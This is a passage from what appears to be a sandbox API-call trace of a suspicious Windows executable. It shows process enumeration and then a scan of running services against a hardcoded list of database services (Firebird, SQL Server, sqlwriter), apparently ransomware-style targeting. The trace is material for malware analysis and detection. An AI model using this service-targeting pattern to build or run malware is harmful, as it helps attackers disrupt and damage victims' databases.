lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0040.456] lstrlenW (lpString="motor.exe") returned 9 [0040.456] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0040.456] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0040.456] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0040.457] lstrlenW (lpString="toshiba.exe") returned 11 [0040.457] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.457] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.457] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0040.458] lstrlenW (lpString="mobsync.exe") returned 11 [0040.458] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.458] lstrlenW (lpString="dllhost.exe") returned 11 [0040.458] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.459] lstrlenW (lpString="dllhost.exe") returned 11 [0040.459] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0040.459] lstrlenW (lpString="3G6885.exe") returned 10 [0040.460] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.460] lstrlenW (lpString="cmd.exe") returned 7 [0040.460] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.461] lstrlenW (lpString="conhost.exe") returned 11 [0040.461] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0040.461] lstrlenW (lpString="mode.com") returned 8 [0040.461] Process32NextW (in: hSnapshot=0x168, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0040.462] CloseHandle (hObject=0x168) returned 1 [0040.462] Sleep (dwMilliseconds=0x1f4) [0041.367] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fce8 [0041.367] EnumServicesStatusExW (in: hSCManager=0x63fce8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0041.368] GetLastError () returned 0xea [0041.368] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x5f9078 [0041.368] EnumServicesStatusExW (in: hSCManager=0x63fce8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5f9078, cbBufSize=0x11e4, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5f9078, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0041.369] CloseServiceHandle (hSCObject=0x63fce8) returned 1 [0041.369] lstrlenW (lpString="Appinfo") returned 7 [0041.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.369] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.369] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.369] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.369] lstrlenW (lpString="AudioSrv") returned 8 [0041.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.370] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.370] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.370] lstrlenW (lpString="BFE") returned 3 [0041.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.370] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.370] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.370] lstrlenW (lpString="CryptSvc") returned 8 [0041.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.370] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.370] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.370] lstrlenW (lpString="CscService") returned 10 [0041.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.370] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.370] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.370] lstrlenW (lpString="DcomLaunch") returned 10 [0041.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.371] lstrlenW (lpString="Dhcp") returned 4 [0041.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.371] lstrlenW (lpString="Dnscache") returned 8 [0041.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.371] lstrlenW (lpString="DPS") returned 3 [0041.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.371] lstrlenW (lpString="eventlog") returned 8 [0041.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.371] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.371] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.372] lstrlenW (lpString="EventSystem") returned 11 [0041.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.372] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.372] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.372] lstrlenW (lpString="gpsvc") returned 5 [0041.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.372] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.372] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.372] lstrlenW (lpString="iphlpsvc") returned 8 [0041.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.372] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.372] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.372] lstrlenW (lpString="LanmanServer") returned 12 [0041.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.373] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.373] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.373] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.373] lstrlenW (lpString="lmhosts") returned 7 [0041.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.373] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.373] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.373] lstrlenW (lpString="MMCSS") returned 5 [0041.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.374] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.374] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.374] lstrlenW (lpString="MpsSvc") returned 6 [0041.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.374] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.374] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.374] lstrlenW (lpString="Netman") returned 6 [0041.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.374] lstrlenW (lpString="netprofm") returned 8 [0041.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.374] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.374] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.374] lstrlenW (lpString="NlaSvc") returned 6 [0041.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.375] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.375] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.375] lstrlenW (lpString="nsi") returned 3 [0041.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.375] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.375] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.375] lstrlenW (lpString="PcaSvc") returned 6 [0041.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.375] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.375] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.375] lstrlenW (lpString="PlugPlay") returned 8 [0041.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.375] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.375] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.376] lstrlenW (lpString="Power") returned 5 [0041.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.376] lstrlenW (lpString="ProfSvc") returned 7 [0041.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.376] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.376] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.376] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.376] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.376] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.377] lstrlenW (lpString="RpcSs") returned 5 [0041.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.377] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.377] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.377] lstrlenW (lpString="SamSs") returned 5 [0041.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.377] lstrlenW (lpString="Schedule") returned 8 [0041.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.377] lstrlenW (lpString="SENS") returned 4 [0041.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.377] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.377] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.378] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.378] lstrlenW (lpString="Spooler") returned 7 [0041.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.378] lstrlenW (lpString="SysMain") returned 7 [0041.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.378] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.378] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.378] lstrlenW (lpString="Themes") returned 6 [0041.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.378] lstrlenW (lpString="TrkWks") returned 6 [0041.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.378] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.378] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.378] lstrlenW (lpString="UxSms") returned 5 [0041.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.379] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.379] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.379] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.379] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.379] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.379] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.379] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.379] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.379] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.379] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.379] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.379] lstrlenW (lpString="Winmgmt") returned 7 [0041.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.380] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.380] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.380] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f9078 | out: hHeap=0x5a0000) returned 1 [0041.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0041.383] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.384] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, 